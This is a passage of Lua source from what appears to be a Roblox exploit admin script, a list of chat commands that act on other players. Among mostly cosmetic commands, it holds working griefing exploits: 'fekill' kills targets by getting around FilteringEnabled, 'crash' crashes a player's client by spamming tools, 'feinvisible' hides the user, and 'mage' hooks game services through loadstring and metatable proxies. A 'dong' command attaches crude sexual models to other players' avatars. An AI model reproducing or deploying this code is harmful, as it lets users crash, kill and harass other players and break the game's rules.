local pt = Instance.new("Part")
pt.BrickColor = BrickColor.new("Silver")
pt.Anchored = true
pt.CanCollide = true
pt.BottomSurface = "Weld"
pt.Parent = workspace
pt.Name = (math.random(1,1000000))
pt.Size = Vector3.new(1000, 1, 1000)
pt.Locked = true
Notify('Created new base')
end)

addcmd('unblur', 'removes all blur instances',{'noblur'},


function(args, speaker)
for i,v in pairs(LightingService:GetChildren()) do
if v:IsA('BlurEffect') then
v:Destroy()
end
end
end)

addcmd('thirdp', 'allows player to go into third person',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
gPlayers[v].CameraMode = "Classic"
end
end)

addcmd('chat', 'forces player to chat what you input',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
game:GetService('Chat'):Chat(gPlayers[v].Character, GLS(false, 1), 3)
end
end)

addcmd('name', 'names player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if not args[1] then return end
for i,v in pairs(players) do
for a, mod in pairs(gPlayers[v].Character:children()) do
if mod:FindFirstChild("TAG") then
gPlayers[v].Character.Head.Transparency = 0
mod:Destroy()
end
end

local char = gPlayers[v].Character


local model = Instance.new("Model", char)
local clone = char.Head:Clone()
local hum = Instance.new("Humanoid", model)
local weld = Instance.new("Weld", clone)
model.Name = GLS(false, 1)
clone.Parent = model
hum.Name = "TAG"
hum.MaxHealth = 100
hum.Health = 100
weld.Part0 = clone
weld.Part1 = char.Head
char.Head.Transparency = 1
end
end)

addcmd('unname', 'unnames player',{'unhidename'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
local name = (args[2])
for i,v in pairs(players) do
for a, mod in pairs(gPlayers[v].Character:children()) do
if mod:FindFirstChild("TAG") then
gPlayers[v].Character.Head.Transparency = 0
mod:Destroy()
end
end
end
end)

addcmd('noname', 'hides the players name',{'hidename'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for a, mod in pairs(gPlayers[v].Character:children()) do
if mod:FindFirstChild("TAG") then
gPlayers[v].Character.Head.Transparency = 0
mod:Destroy()
end
end

local char = gPlayers[v].Character


local model = Instance.new("Model", char)
local clone = char.Head:Clone()
local hum = Instance.new("Humanoid", model)
local weld = Instance.new("Weld", clone)
model.Name = ""
clone.Parent = model
hum.Name = "TAG"
hum.MaxHealth = 100
hum.Health = 100
weld.Part0 = clone
weld.Part1 = char.Head
char.Head.Transparency = 1
end
end)

addcmd('damage', 'damages a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
gPlayers[v].Character.Humanoid.Health =
gPlayers[v].Character.Humanoid.Health - 25
end
end)

addcmd('view', 'views player',{'spectate'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
workspace.CurrentCamera.CameraSubject = gPlayers[v].Character
Notify('Viewing ' .. gPlayers[v].Name)
end
end)

addcmd('unview', 'stops viewing player',{'unspectate'},


function()
workspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character
Notify('View turned off')
end)

addcmd('nolimbs', 'removes limbs from player',{'rlimbs'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Leg" or
v.Name == "Left Leg" or
v.Name == "Right Arm" or
v.Name == "Left Arm" then
v:Destroy()
end
end
end
end)

addcmd('noarms', 'removes arms from player',{'rarms'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Arm" or
v.Name == "Left Arm" then
v:Destroy()
end
end
end
end)

addcmd('torso', 'just a torso....',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
for i,v in pairs(gPlayers[v].Character:GetDescendants()) do
if v:IsA("BasePart") and
v.Name == "Right Leg" or
v.Name == "Left Leg" or
v.Name == "Right Arm" or
v.Name == "Left Arm" or
v:IsA('Decal') or v:IsA('Texture') or
v:IsA('Accessory') then
v:Destroy()
end
end
gPlayers[v].Character.Head.Transparency = 1
end)
end
end)

addcmd('box', 'creates a box around player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local SB = Instance.new("SelectionBox", pchar)
SB.Adornee = SB.Parent
end
end)

addcmd('nobox', 'takes away box from player',{'unbox'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("SelectionBox") then
v:Destroy()
end
end
end
end)

addcmd('ghost', 'ghostifys player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
pchar.Head.Transparency = 0.5
pchar.Torso.Transparency = 0.5
pchar["Left Arm"].Transparency = 0.5
pchar["Right Arm"].Transparency = 0.5
pchar["Left Leg"].Transparency = 0.5
pchar["Right Leg"].Transparency = 0.5
pchar.Head.face.Transparency = 0.5
end
end)

addcmd('unghost', 'unghostifys player',{'noghost'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
pchar.Head.Transparency = 0
pchar.Torso.Transparency = 0
pchar["Left Arm"].Transparency = 0
pchar["Right Arm"].Transparency = 0
pchar["Left Leg"].Transparency = 0
pchar["Right Leg"].Transparency = 0
pchar.Head.face.Transparency = 0
end
end)

addcmd('sphere', 'puts sphere around player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
local SS = Instance.new("SelectionSphere", pchar)
SS.Adornee = SS.Parent
end
end)

addcmd('unsphere', 'removes sphere around player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("SelectionSphere") then
v:Destroy()
end
end
end
end)

addcmd('ambient','changes ambient',{},
function(args, speaker)
LightingService.Ambient = Color3.fromRGB(args[1],args[2],args[3])
LightingService.OutdoorAmbient = Color3.fromRGB(args[1],args[2],args[3])
end)

addcmd('fogend','changes the fogend',{},


function(args, speaker)
LightingService.FogEnd = args[1]
end)

addcmd('fogcolor','changes the fogs color',{},


function(args, speaker)
LightingService.FogColor = Color3.fromRGB(args[1],args[2],args[3])
end)

injail = {}
addcmd('jail','jails player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(injail, _players[v].Name) then return end
table.insert(injail, _players[v].Name)
local pchar=gPlayers[v].Character
local J = DATA.JAIL:Clone() J.Parent = workspace
J:MoveTo(pchar.HumanoidRootPart.Position) J.Name = 'JAIL_' .. _players[v].Name
repeat wait(0.5)
pchar = _players[v].Character if pchar and
pchar:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then
pchar.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end
until not FindTable(injail, _players[v].Name)
end)
end
end)

addcmd('unjail','unjails player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(injail) do if b == _players[v].Name then
table.remove(injail, a) end end
workspace["JAIL_" .. _players[v].Name]:Destroy()
end)
end
end)

loopn = {}
addcmd('loopname','loops a players name',{'lname'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(loopn, _players[v].Name) then return end
table.insert(loopn, _players[v].Name)
local Lname = GLS(false, 1)
local pchar=gPlayers[v].Character
pchar.Name = Lname
if FindTable(SPC, args[1]) then Notify('Looping name for ' ..
args[1] .. ' (only visible to others)') else
Notify('Looping name for player(s) (only visible to others)') end
repeat wait(0.01)
repeat wait() until _players[v].Character
gPlayers[v].Character.Name = Lname
until not FindTable(loopn, _players[v].Name)
end)
end
end)

addcmd('unloopname','unjails player',{'noloopname','unlname','nolname'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=gPlayers[v].Character
for a,b in pairs(loopn) do if b == _players[v].Name then
table.remove(loopn, a) end end
wait(0.5)
if FindTable(SPC, args[1]) then Notify('Stopped looping name for ' ..
args[1]) else
Notify('Stopped looping name for player(s)') end
pchar.Name = gPlayers[v].Name
end)
end
end)

addcmd('loopbring','loop brings a player lol',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(bringT, _players[v].Name) then return end
table.insert(bringT, _players[v].Name)
local pchar=gPlayers[v].Character
pchar.Humanoid.Jump = true
repeat wait(0.5)
pchar = _players[v].Character
for i,c in pairs(players) do
if pchar~= nil and pchar:FindFirstChild("HumanoidRootPart") and
speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart")
then
pchar.HumanoidRootPart.CFrame =
speaker.Character.HumanoidRootPart.CFrame + Vector3.new(4,1,0)
end
end
until not FindTable(bringT, _players[v].Name)
end)
end
end)

addcmd('feinvisible','fe invisible',{'feinvis'},
function(args, speaker)
-- Elite1337#9377 & Timeless#4044
local function CheckRig()
if Player.Character then
local Humanoid = Player.Character:WaitForChild('Humanoid')
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
return 'R15'
else
return 'R6'
end
end
end
local function InitiateInvis()
local Character = Player.Character
local StoredCF = Character.PrimaryPart.CFrame
local Part = Instance.new('Part',workspace)
Part.Size = Vector3.new(5,0,5)
Part.Anchored = true
Part.CFrame = CFrame.new(Vector3.new(9999,9999,9999))
Character.PrimaryPart.CFrame = Part.CFrame*CFrame.new(0,3,0)
spawn(function()
wait(3)
Part:Destroy()
end)
if CheckRig() == 'R6' then
local Clone = Character.HumanoidRootPart:Clone()
Character.HumanoidRootPart:Destroy()
Clone.Parent = Character
else
local Clone = Character.LowerTorso.Root:Clone()
Character.LowerTorso.Root:Destroy()
Clone.Parent = Character.LowerTorso
end
end
InitiateInvis()
end)

addcmd('unloopbring','unjails player',{'noloopbring'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(bringT) do if b == _players[v].Name then
table.remove(bringT, a) end end
end)
end
end)

strobe = false
addcmd('strobe','makes the server flash',{'flash'},
function(args, speaker)
if strobe == false then
strobep = Instance.new("ColorCorrectionEffect")
strobep.Brightness = 1
strobep.Parent = LightingService
strobe = true
repeat wait(0.01)
strobep.Enabled = true
wait(0.01)
strobep.Enabled = false
until strobe == false
end
end)

addcmd('unstrobe','makes the server flash',


{'noflash','nostrobe','unflash','unstrobe'},
function(args, speaker)
strobe = false
strobep:Destroy()
end)

addcmd('shutdown', 'shuts the server down',{},


function(args, speaker)
Notify('Broken atm :(')
end)

addcmd('fekill','oof?',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
-- illremember's cool fe kill script
local Target = gPlayers[v].Name
game:GetService("Players").LocalPlayer.Character.Humanoid.Name = 1
local l = game:GetService("Players").LocalPlayer.Character["1"]:Clone()
l.Parent = game:GetService("Players").LocalPlayer.Character
l.Name = "Humanoid"
wait(0.1)
game:GetService("Players").LocalPlayer.Character["1"]:Destroy()
game.Workspace.CurrentCamera.CameraSubject =
game:GetService("Players").LocalPlayer.Character
game:GetService("Players").LocalPlayer.Character.Animate.Disabled = true
wait(0.1)
game:GetService("Players").LocalPlayer.Character.Animate.Disabled = false
game:GetService("Players").LocalPlayer.Character.Humanoid.DisplayDistanceType =
"None"
for i,v in pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
game:GetService("Players").LocalPlayer.Character.Humanoid:EquipTool(v)
v.CanBeDropped = true
end
wait(0.1)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[Target].Character.HumanoidRootPart.CFrame
wait(0.1)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[Target].Character.HumanoidRootPart.CFrame
wait(0.2)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-10000,-100, -10000))
end
end)

addcmd('animation','makes player animate',{'anim'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
local AnimationId = tostring(args[2])
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = pchar.Humanoid:LoadAnimation(Anim)
k:Play()
end
end)

addcmd('creeper','make the player a creeper',{'crpr'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and pchar:findFirstChild("Torso") then
if pchar:FindFirstChild("Shirt") then
pchar.Shirt.Parent = pchar.Torso
end
if pchar:FindFirstChild("Pants") then
pchar.Pants.Parent = pchar.Torso
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Destroy()
end
end
pchar.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar["Body Colors"].HeadColor = BrickColor.new("Bright green")
pchar["Body Colors"].LeftArmColor = BrickColor.new("Bright green")
pchar["Body Colors"].LeftLegColor = BrickColor.new("Bright green")
pchar["Body Colors"].RightArmColor = BrickColor.new("Bright green")
pchar["Body Colors"].RightLegColor = BrickColor.new("Bright green")
pchar["Body Colors"].TorsoColor = BrickColor.new("Bright green")
end
end
end)
addcmd('uncreeper','makes player back to normal',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(gPlayers[v])
end
end)

addcmd('crash','crashes a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(WL, gPlayers[v].Name) then Notify('Error: '..gPlayers[v].Name..'
is whitelisted') else
if FindTable(SPC, args[1]) then Notify('Crashed ' .. args[1]) else
Notify('Crashed player(s)') end
wait(4)
if gPlayers[v] ~= nil then
for i=1,3600 do
Instance.new("Tool",gPlayers[v].Backpack).Name = "-"
end
wait()
for i=1,3600 do
Instance.new("Tool",gPlayers[v].Backpack).Name = "-"
end
wait()
end
end
end
end)

addcmd('shrek', 'makes player shrek',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") or v:IsA("CharacterMesh") or v:IsA("Shirt")
or v:IsA("Pants")
then
v:Destroy()
end
end
for i,v in pairs(pchar.Head:GetChildren()) do
if v:IsA("Decal") or v:IsA("SpecialMesh") then
v:Destroy()
end
end

local mesh = Instance.new("SpecialMesh", pchar.Head)


mesh.MeshType = "FileMesh"
pchar.Head.Mesh.MeshId = "http://www.roblox.com/asset/?id=19999257"
pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0)
pchar.Head.Mesh.TextureId = "http://www.roblox.com/asset/?id=156397869"

local Shirt = Instance.new("Shirt", gPlayers[v].Character)


local Pants = Instance.new("Pants", gPlayers[v].Character)

Shirt.ShirtTemplate = "rbxassetid://133078194"
Pants.PantsTemplate = "rbxassetid://133078204"
end
end)

addcmd('unshrek','makes player back to normal',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(gPlayers[v])
end
end)

addcmd('oof','good things happen',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if gPlayers[v].Character.Head:FindFirstChild("Died") then
gPlayers[v].Character.Head.Died.Looped = true wait(0.1)
gPlayers[v].Character.Head.Died.Playing = true
gPlayers[v].Character.Head.Died.Volume = 10
gPlayers[v].Character.Head.Died.Pitch = 0.5
end
execCmd("size " .. gPlayers[v].Name .. ' -1')
execCmd("hheight " .. gPlayers[v].Name .. ' 1000000000')
wait(5)
execCmd("explode " .. gPlayers[v].Name)
wait(0.1)
gPlayers[v].Character.Humanoid.Health = 0
end)
end
end)

addcmd('control','controls player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar then
execCmd("invisible " .. speaker.Name)
pchar.Humanoid.PlatformStand = true
local w = Instance.new("Weld", speaker.Character.Torso)
w.Part0 = speaker.Character.Torso
w.Part1 = pchar.Torso
local w2 = Instance.new("Weld", speaker.Character.Head)
w2.Part0 = speaker.Character.Head
w2.Part1 = pchar.Head
local w3 = Instance.new("Weld",
speaker.Character:findFirstChild("Right Arm"))
w3.Part0 = speaker.Character:findFirstChild("Right Arm")
w3.Part1 = pchar:findFirstChild("Right Arm")
local w4 = Instance.new("Weld",
speaker.Character:findFirstChild("Left Arm"))
w4.Part0 = speaker.Character:findFirstChild("Left Arm")
w4.Part1 = pchar:findFirstChild("Left Arm")
local w5 = Instance.new("Weld",
speaker.Character:findFirstChild("Right Leg"))
w5.Part0 = speaker.Character:findFirstChild("Right Leg")
w5.Part1 = pchar:findFirstChild("Right Leg")
local w6 = Instance.new("Weld",
speaker.Character:findFirstChild("Left Leg"))
w6.Part0 = speaker.Character:findFirstChild("Left Leg")
w6.Part1 = pchar:findFirstChild("Left Leg")
char.Head.face:Destroy()
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
elseif v:IsA("Accessory") then
v:Destroy()
end
end
pchar.Parent = char
pchar.Humanoid.Changed:connect(function()
pchar.Humanoid.PlatformStand = true
end)
end
end)
end
end)

addcmd('nuke','nukes player',{}, -- from MML


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
local Pos = CFrame.new(0,1,0)
if pchar and pchar:FindFirstChild("HumanoidRootPart") then Pos =
pchar.HumanoidRootPart.CFrame * CFrame.new(0,1,0) end
local Blast = Instance.new("Part", workspace) Blast.Name = "BlastEx"
Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1)
Blast.CFrame = Pos
local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId =
"rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325"
BlastMesh.Scale = Vector3.new(0,0,0)
local Wave = Instance.new("Part", workspace) Wave.BrickColor =
BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true
Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos *
CFrame.Angles(math.pi/2,0,0)
local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId =
"rbxassetid://3270017"
local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000
Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)

local Effect = Instance.new("ColorCorrectionEffect", gLighting)


Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1
Effect.TintColor = Color3.new(1,0.2,0.2)

gLighting.Brightness = 5
gLighting.Ambient = Color3.new(1,0.5,0.5)
gLighting.OutdoorAmbient = Color3.new(1,1,1)
local Exp = Instance.new("Explosion", workspace)
Exp.Position = Pos.p
Exp.BlastPressure = 10000000
Exp.BlastRadius = 1000000
Exp.Hit:connect(function(Part)
if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast
and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
ypcall(function()
Part.Anchored = false
Part.BrickColor = BrickColor.new("Black")
Part.Material = "Slate"
Part:BreakJoints()
end)
end
end)

local BoomSound = Instance.new('Sound') BoomSound.Parent = workspace


BoomSound.SoundId = 'rbxassetid://212389494'
BoomSound:Play()
for i = 0,100,0.5 do
Blast.Anchored = true
Wave.Anchored = true
BlastMesh.Scale = Vector3.new(i,i,i)
WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
Blast.CFrame = Pos
wait()
end
BoomSound:Stop()
Blast:Destroy()
Wave:Destroy()
wait()
BoomSound:Destroy()
Effect:Destroy()
for i = 10,5,-1 do
gLighting.Brightness = (i-5) + 1
gLighting.Ambient = Color3.new(i/10,0.5,0.5)
gLighting.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
wait(0.05)
end
end)
end
end)

addcmd('dong','gives a player a penis',{'penis'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if gPlayers[v].Character:FindFirstChild('wang') then
gPlayers[v].Character.wang:destroy()
end
local D = Instance.new('Model', gPlayers[v].Character)
D.Name = 'DONG'
local BG = Instance.new('BodyGyro', gPlayers[v].Character.Torso)
local MAIN = Instance.new('Part', gPlayers[v].Character['DONG'])
local M1 = Instance.new('CylinderMesh', MAIN)
local W1 = Instance.new('Weld', gPlayers[v].Character.Head)
local P1 = Instance.new('Part', gPlayers[v].Character['DONG'])
local M2 = Instance.new('SpecialMesh', P1)
local W2 = Instance.new('Weld', P1)
local B1 = Instance.new('Part', gPlayers[v].Character['DONG'])
local M3 = Instance.new('SpecialMesh', B1)
local W3 = Instance.new('Weld', B1)
local B2 = Instance.new('Part', gPlayers[v].Character['DONG'])
local M4 = Instance.new('SpecialMesh', B2)
local W4 = Instance.new('Weld', B2)
MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.Size =
Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new('Pastel brown')
MAIN.Position = gPlayers[v].Character.Head.Position MAIN.CanCollide = false
W1.Part0 = MAIN W1.Part1 = gPlayers[v].Character.Head W1.C0 = CFrame.new(0,
0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0)
P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.Size =
Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor =
BrickColor.new('Pink') P1.CanCollide = false
M2.MeshType = 'Sphere'
W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0)
B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide =
false B1.Size = Vector3.new(1, 1, 1) B1.CFrame =
CFrame.new(gPlayers[v].Character['Left Leg'].Position) B1.BrickColor =
BrickColor.new('Pastel brown')
M3.Parent = B1 M3.MeshType = 'Sphere'
W3.Part0 = gPlayers[v].Character['Left Leg'] W3.Part1 = B1 W3.C0 =
CFrame.new(0, 0.5, -0.5)
B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false
B2.TopSurface = 0 B2.Size = Vector3.new(1, 1, 1) B2.CFrame =
CFrame.new(gPlayers[v].Character['Right Leg'].Position) B2.BrickColor =
BrickColor.new('Pastel brown')
M4.MeshType = 'Sphere'
W4.Part0 = gPlayers[v].Character['Right Leg'] W4.Part1 = B2 W4.C0 =
CFrame.new(0, 0.5, -0.5)
end)
end
end)

addcmd('undong','gives a player a penis',{'unpenis','nopenis','nodong'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if gPlayers[v].Character:FindFirstChild('DONG') then
gPlayers[v].Character.DONG:destroy()
end end
end)

addcmd('infect','infects player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
function infect(rip)
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants")
then
v:Destroy()
end
end
if pchar.Torso:FindFirstChild("roblox") then
pchar.Torso.roblox:Destroy()
end
if pchar.Head:FindFirstChild("face") then
pchar.Head.face.Texture = "http://www.roblox.com/asset/?
id=94634491"
end
if pchar:FindFirstChild("Body Colors") then
local Colors = pchar["Body Colors"]
local Skin = BrickColor.new("Pastel green")
local Clothes = BrickColor.new("Reddish brown")
Colors.HeadColor = Skin
Colors.LeftArmColor = Skin
Colors.RightArmColor = Skin
Colors.LeftLegColor = Clothes
Colors.RightLegColor = Clothes
Colors.TorsoColor = Clothes
end
local w1 = Instance.new("Weld", pchar)
w1.Part0 = pchar["Right Arm"]
w1.Part1 = pchar.Torso
w1.C0 = CFrame.new(-1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local w2 = Instance.new("Weld", pchar)
w2.Part0 = pchar["Left Arm"]
w2.Part1 = pchar.Torso
w2.C0 = CFrame.new(1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local rip = false
local connect1 = pchar["Left Arm"].Touched:connect(function(hit)
if connect1 == false then
connect1 = true
if gPlayers:FindFirstChild(hit.Parent.Name) then
infect(gPlayers[hit.Parent.Name])
end
wait(0.5)
connect1 = true
end
end)
local connect2 = pchar["Right Arm"].Touched:connect(function(hit)
if connect2 == false then
connect2 = true
if gPlayers:FindFirstChild(hit.Parent.Name) then
infect(gPlayers[hit.Parent.Name])
end
wait(0.5)
connect2 = true
end
end)
local IV = Instance.new("IntValue", pchar)
IV.Name = "Infected"
IV.Value = 0
IV.Changed:connect(function()
connect1:disconnect()
connect2:disconnect()
end)
end
infect(v)
end
end)

addcmd('uninfect','makes player back to normal',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
refresh(gPlayers[v])
end
end)

addcmd('duck','makes players head a duck',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v:IsA("Decal") then
v:Destroy()
end
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Destroy()
end
end
local duck = Instance.new("SpecialMesh", pchar.Torso)
duck.MeshType = "FileMesh"
duck.MeshId = "http://www.roblox.com/asset/?id=9419831"
duck.TextureId = "http://www.roblox.com/asset/?id=9419827"
duck.Scale = Vector3.new(5, 5, 5)
pchar.Head.Transparency = 1
pchar["Left Arm"].Transparency = 1
pchar["Right Arm"].Transparency = 1
pchar["Left Leg"].Transparency = 1
pchar["Right Leg"].Transparency = 1
pchar.Head.face.Transparency = 1
end
end)

addcmd('mage', 'mage',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if not LP.PlayerGui:FindFirstChild('ChangeArc') then
local arcPackage =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01337781430")
local fakeLighting = arcPackage.Lighting

local oldgame = game


local oldlighting = oldgame:GetService("Lighting")

local proLighting = newproxy(true)


local mtL = getmetatable(proLighting)
mtL.__index = function(self,ind)
if fakeLighting:FindFirstChild(ind) then return fakeLighting[ind] end
return oldlighting[ind]
end
mtL.__newindex = function(self,ind,val)
oldlighting[ind] = val
end
mtL.__namecall = function(self,...)
local args = {...}
local method = table.remove(args)
return oldlighting(method,unpack(args))
end

local proGame = newproxy(true)


local mt = getmetatable(proGame)
mt.__index = function(self,ind)
if ind == "Lighting" then return proLighting end
return oldgame[ind]
end
mt.__namecall = function(self,...)
local args = {...}
local method = table.remove(args)
if method:lower() == "getservice" and args[1] == "Lighting" then return
fakeLighting end
return oldgame(method,unpack(args))
end

wait()
local destructAnchored = false
local maxMass = 1000

function newCESS(scr)
local newFunc = loadstring(scr.Source)
if type(newFunc) ~= "function" then return end
setfenv(newFunc,setmetatable({script = scr},{
__index = function(self,ind)
if ind == "game" then return proGame end
return getfenv()[ind]
end,
__newindex = function(self,ind,val)
rawset(self,ind,val)
end
}))
pcall(function()spawn(newFunc)end)
end

gPlayers.LocalPlayer.Character.Humanoid.MaxHealth = 999999999
gPlayers.LocalPlayer.Character.Humanoid.Health = 999999999

function destroyHook(obj,replacement,par)
obj:GetPropertyChangedSignal("Parent"):Connect(function()
local newObj = replacement:Clone()
if newObj:IsA("ScreenGui") then newObj.ResetOnSpawn = false end
newObj.Parent = par
destroyHook(newObj,replacement,par)
end)
end

for i,v in pairs(arcPackage.PlayerGui:GetChildren()) do


local newObj = v:Clone()
if newObj:IsA("ScreenGui") then newObj.ResetOnSpawn = false end
newObj.Parent = gPlayers.LocalPlayer.PlayerGui
destroyHook(newObj,v,gPlayers.LocalPlayer.PlayerGui)
end

function replaceScripts(root)
for i,v in pairs(root:GetChildren()) do
if v:IsA("Script") and not v:IsA("LocalScript") then
local tempStore = {}
for i2,v2 in pairs(v:GetChildren()) do
table.insert(tempStore,v2:Clone())
end
local newScript = Instance.new("LocalScript",v.Parent)
newScript.Name = v.Name
for i2,v2 in pairs(tempStore) do
v2.Parent = newScript
end
v:Destroy()
end
replaceScripts(v)
end
end

local player = gPlayers.LocalPlayer

if not gPlayers.LocalPlayer:FindFirstChild("leaderstats1") then


gPlayers.LocalPlayer.PlayerGui.leaderstats1.Parent = gPlayers.LocalPlayer
end

